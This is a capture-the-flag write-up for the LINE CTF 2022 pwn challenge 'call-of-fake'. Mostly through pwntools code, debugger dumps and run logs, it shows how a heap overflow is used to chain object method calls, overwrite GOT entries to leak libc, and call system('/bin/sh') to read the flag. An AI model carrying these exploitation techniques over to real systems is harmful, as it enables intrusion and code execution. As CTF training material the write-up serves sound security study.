LINE CTF 2022 - call-of-fake
Call Call Call!?
nc 34.146.170.115 10001
Environment: Ubuntu20.04 dcfba5b03622f31b1d0673c3f5f14181012b46199abca3ba4af6c1433f03ffd9 /lib/x86_64-linux-gnu/libc-2.31.so
Attachment: call-of-fake.tar.gz xpl.py
Team: Super HexaGoN
Make call of fake!
str: 1
1
str: 2
2
...
str: 8
8
str: 9
9
heap buffer overflow primitive: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)Taking a short glance at the decompiled source of the challenge, I quickly decided that I don’t want to reverse it and just went on with a dynamic approach, which worked out pretty well.
Let’s just see, what crashes the binary.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "34.146.170.115"
PORT = 10001
PROCESS = "./call-of-fake"
def exploit(r):
for i in range(9):
r.sendafter("str: ", "A"*0x20)
r.sendlineafter(": ", cyclic_metasploit(0x400))
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
else:
LOCAL = True
r = process("./call-of-fake")
print(util.proc.pidof(r))
pause()
exploit(r)Program received signal SIGSEGV, Segmentation fault.
0x0000000000402d36 in objectManager::~objectManager() ()
──────────────────────────────────────────────────────────────────────── registers ──────
$rax : 0x6141316141306141 ("Aa0Aa1Aa"?)
$rbx : 0x00007fffffffddc0 → 0x000000000000000c ("
"?)
$rcx : 0x0000000000402658 → <objectString::get()+0> endbr64
$rdx : 0x00000000004014f8 → <Object1::fire()+0> endbr64
$rsp : 0x00007fffffffdd60 → 0x00000000004014f8 → <Object1::fire()+0> endbr64
$rbp : 0x00007fffffffde50 → 0x00007fffffffde70 → 0x00007fffffffe300 → 0x0000000000000000
$rsi : 0xb
$rdi : 0x0000000000419eb8 → 0x000000000041a000 → 0x00000000004014f8 → <Object1::fire()+0> endbr64
$rip : 0x0000000000402d36 → <objectManager::~objectManager()+448> mov rax, QWORD PTR [rax]
$r8 : 0xfffffffffffffff0
$r9 : 0x20
$r10 : 0x000000000041a490 → "AAAAAAAAAAAAAAAA"
$r11 : 0x000000000041a090 → "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab[...]"
$r12 : 0xc
$r13 : 0x0
$r14 : 0xc
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x402d2a <objectManager::~objectManager()+436> mov rdx, QWORD PTR [rbp-0x70]
0x402d2e <objectManager::~objectManager()+440> mov rdx, QWORD PTR [rax+rdx*8]
0x402d32 <objectManager::~objectManager()+444> mov rax, QWORD PTR [rbp-0x40]
→ 0x402d36 <objectManager::~objectManager()+448> mov rax, QWORD PTR [rax]
0x402d39 <objectManager::~objectManager()+451> cmp rdx, rax
0x402d3c <objectManager::~objectManager()+454> jne 0x402d44 <_ZN13objectManagerD2Ev+462>
0x402d3e <objectManager::~objectManager()+456> mov BYTE PTR [rbp-0x71], 0x1
0x402d42 <objectManager::~objectManager()+460> jmp 0x402d4b <_ZN13objectManagerD2Ev+469>
0x402d44 <objectManager::~objectManager()+462> add QWORD PTR [rbp-0x70], 0x1
───────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd60│+0x0000: 0x00000000004014f8 → <Object1::fire()+0> endbr64 ← $rsp
0x00007fffffffdd68│+0x0008: 0x00000000004017e8 → <Object1::getNameBuffer()+0> endbr64
0x00007fffffffdd70│+0x0010: 0x0000000000401540 → <Object1::setName(void*,+0> endbr64
0x00007fffffffdd78│+0x0018: 0x0000000000401a4e → <Object1::getTag()+0> endbr64
0x00007fffffffdd80│+0x0020: 0x0000000000401b02 → <Object1::getName()+0> endbr64
0x00007fffffffdd88│+0x0028: 0x0000000000401a64 → <Object1::setTag(unsigned+0> endbr64 Seems it’s calling a dtor on objectManager and tries to dereference a part of our payload, probably some kind of exit funcs.
Let’s give it a proper address, so that dereferencing it won’t crash it.
payload = p64(0x407200)
payload += cyclic_metasploit(0x400)
r.sendlineafter(": ", payload)Now, we can see, that the binary will compare the value at the given address with a predefined set of functions and if it’s in that list, it will execute it.
0x402d2a <objectManager::~objectManager()+436> mov rdx, QWORD PTR [rbp-0x70]
●→ 0x402d2e <objectManager::~objectManager()+440> mov rdx, QWORD PTR [rax+rdx*8]
0x402d32 <objectManager::~objectManager()+444> mov rax, QWORD PTR [rbp-0x40]
0x402d36 <objectManager::~objectManager()+448> mov rax, QWORD PTR [rax]
0x402d39 <objectManager::~objectManager()+451> cmp rdx, rax
0x402d3c <objectManager::~objectManager()+454> jne 0x402d44 <_ZN13objectManagerD2Ev+462>
...
gef➤ telescope $rax
0x00007fffffffdd60│+0x0000: 0x00000000004014f8 → <Object1::fire()+0> endbr64 ← $rax, $rsp
0x00007fffffffdd68│+0x0008: 0x00000000004017e8 → <Object1::getNameBuffer()+0> endbr64
0x00007fffffffdd70│+0x0010: 0x0000000000401540 → <Object1::setName(void*,+0> endbr64
0x00007fffffffdd78│+0x0018: 0x0000000000401a4e → <Object1::getTag()+0> endbr64
0x00007fffffffdd80│+0x0020: 0x0000000000401b02 → <Object1::getName()+0> endbr64
0x00007fffffffdd88│+0x0028: 0x0000000000401a64 → <Object1::setTag(unsigned+0> endbr64
0x00007fffffffdd90│+0x0030: 0x0000000000401a84 → <Object1::addTag(unsigned+0> endbr64
0x00007fffffffdd98│+0x0038: 0x0000000000401ad8 → <Object1::addTwiceTag()+0> endbr64
0x00007fffffffdda0│+0x0040: 0x0000000000402b20 → <objectManager::addStorage(unsigned+0> endbr64
0x00007fffffffdda8│+0x0048: 0x00000000004025b4 → <objectString::set(char*)+0> endbr64
0x00007fffffffddb0│+0x0050: 0x00000000004025ea → <objectString::alloc(char*,+0> endbr64
0x00007fffffffddb8│+0x0058: 0x0000000000402658 → <objectString::get()+0> endbr64 So, by giving references to pointers to those functions, we can chain multiple calls of them (which will have our payload as input object).
def ref(v):
return next(e.search(p64(v)))
def exploit(r):
for i in range(9):
r.sendafter("str: ", "A"*0x20)
FIRE = ref(0x00000000004014f8)
GETNAMEBUFFER = ref(0x00000000004017e8)
SETNAME = ref(0x0000000000401540)
GETTAG = ref(0x0000000000401a4e)
GETNAME = ref(0x0000000000401b02)
SETTAG = ref(0x0000000000401a64)
ADDTWICETAG = ref(0x0000000000401ad8)
ADDSTORAGE = ref(0x0000000000402b20)
SET = ref(0x00000000004025b4)
ALLOC = ref(0x00000000004025ea)
GET = ref(0x0000000000402658)This narrows the interesting code to look at a bit down.
void* objectString::set(objectString *this, char *arg)
{
return memcpy(*(this + 1), arg, *(this + 2));
}This looks already interesting, since this will point to our payload, we would control rdi and rdx argument for memcpy, but arg would always be 0xb leading to a crash, when trying to execute memcpy.
long Object1::addTwiceTag(Object1 *this)
{
return Object1::addTag(this, *(this + 1));
}Though we’re not really interested in calling addTag, addTwiceTag has the side-effect of setting rsi to this+1, giving us control over rsi itself.
We can now chain addTwiceTag to set rsi and then call set to execute a memcpy with all arguments controlled. But for now, we can only copy existing stuff from a known address to another known address.
Let’s turn this into a more useful primitive, by overwriting memcpy.got itself with this to read.got (for which we then would also control all arguments the same way)
# rsi = e.got["read"]
payload = p64(ADDTWICETAG) # call addTwiceTag
payload += p64(e.got["read"]) # rsi
payload += "A"*(0x40-len(payload))
# memcpy(e.got["memcpy"], e.got["read"], 8)
payload += p64(SET) # call set
payload += p64(e.got["memcpy"]) # rdi
payload += p64(8) # rdxAfter this, memcpy.got will point to read
gef➤ x/gx 0x407098
0x407098 <read@got.plt>: 0x00007ffff7cdbff0
gef➤ x/gx 0x407050
0x407050 <memcpy@got.plt>: 0x00007ffff7cdbff0
gef➤ x/i 0x00007ffff7cdbff0
0x7ffff7cdbff0 <__GI___libc_read>: endbr64 We can now do the same again, but this time, it will call read(rdi,rsi,rdx) instead, giving us the possibility to write arbitrary data somewhere.
Let’s take a look at fire to get an idea, how we could turn free into a leak.
void Object1::fire(Object1 *this)
{
*(this + 1) = 0;
obj_string = *(this + 4);
if ( obj_string )
{
objectString::~objectString(*(this + 4));
operator delete(obj_string, 0x18);
}
}
void objectString::~objectString(objectString *this)
{
*this = &off_406D68;
free(*(this + 1));
*(this + 2) = 0;
}fire would call ~objectString, which then will call free on the second argument in our payload. Since we still have no leak, I used the memcpy-read to overwrite free.got with puts, so we can leak some data by freeing it.
# rsi = e.got["free"]
payload += p64(ADDTWICETAG) # call addTwiceTag
payload += p64(e.got["free"]) # rsi
payload += "C"*(0xe0-len(payload))
# read(0, e.got["free"], 0x20)
payload += p64(SET) # call set
payload += p64(0) # rdi
payload += p64(0x20) # rdx
payload += "F"*(0x140-len(payload))
# free(e.got["free"]+0x10) => puts(e.got["free"]+0x10)
payload += p64(FIRE)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(e.got["free"]+0x10) # object string ptr
payload += "F"*(0x160-len(payload))
...
# send payload for read(0, e.got["free], 0x20)
payload2 = p64(0x0000000000401150) + p64(0x21)
payload2 += p64(0) + p64(e.got["setvbuf"])
r.send(payload2)That turned out to get a bit tricky and in hindsight it might have been better to search for some other controllable got than free, since after the dtor of objectString it will also call delete on the object, which will ultimately call free, so we have to make sure, that we serve it a valid chunk, that can be freed.
The payload will first set rsi accordingly and then call read(0, e.got["free"], 0x20) via the set function. We’ll send a second payload then, which will for one overwrite e.got["free] with e.plt["puts] and put a 0x20 fake chunk behind it, with its content pointing to e.got["setvbuf].
When we now trigger Fire, this will call ~objectString(e.got["free]+0x10), which will then call free([e.got["free"]+0x10+0x8]), which now boils down to puts(e.got["setvbuf"]) giving us our libc leak finally.
After the leak it will try to delete the chunk, which will be done nicely, since we also put a fake 0x21 size in that fake object allowing us to continue our call chain.
# read the output of ~objectString leak
LEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
libc.address = LEAK - libc.symbols["setvbuf"]
log.info("LEAK : %s" % hex(LEAK))
log.info("LIBC : %s" % hex(libc.address))$ python work.py 1
[*] '/media/sf_ctf/line22/calloffake/call-of-fake'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/media/sf_ctf/line22/calloffake/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 34.146.170.115 on port 10001: Done
[*] Paused (press any to continue)
[*] LEAK : 0x7fea5a4ebd10
[*] LIBC : 0x7fea5a467000
[*] Switching to interactive mode
[*] Got EOF while reading in interactiveLooking good and with the leak not crashing in free we got the hardest part done.
We can now use our read primitive again, to overwrite free again, but this time with system and pass it another chunk, which will point to /bin/sh. Calling Fire again should then result in a system("/bin/sh") call.
# rsi = e.got["free"]
payload += p64(ADDTWICETAG)
payload += p64(e.got["free"]) # rsi
payload += "F"*(0x200-len(payload))
# read(e.got["free"], 0x20) # => payload3
payload += p64(SET)
payload += p64(0)
payload += p64(0x20)
payload += "F"*(0x260-len(payload))
...
# send payload for second free overwrite
payload3 = p64(libc.symbols["system"]) + p64(0x21)
payload3 += p64(next(libc.search("/bin/sh")))With everything prepared, all that’s left is to trigger fire one more time.
# free(e.got["free"]+0x10) => system("/bin/sh")
payload += p64(FIRE)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0x407090-8) # ptr to /bin/sh at 0x407090$ python work.py 1
[*] '/media/sf_ctf/line22/calloffake/call-of-fake'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/media/sf_ctf/line22/calloffake/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 34.146.170.115 on port 10001: Done
[*] Paused (press any to continue)
[*] LEAK : 0x7f24730e2d10
[*] LIBC : 0x7f247305e000
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cd home
$ cd call-of-fake
$ cat flag
LINECTF{B4By_C0unterfeitO0P!}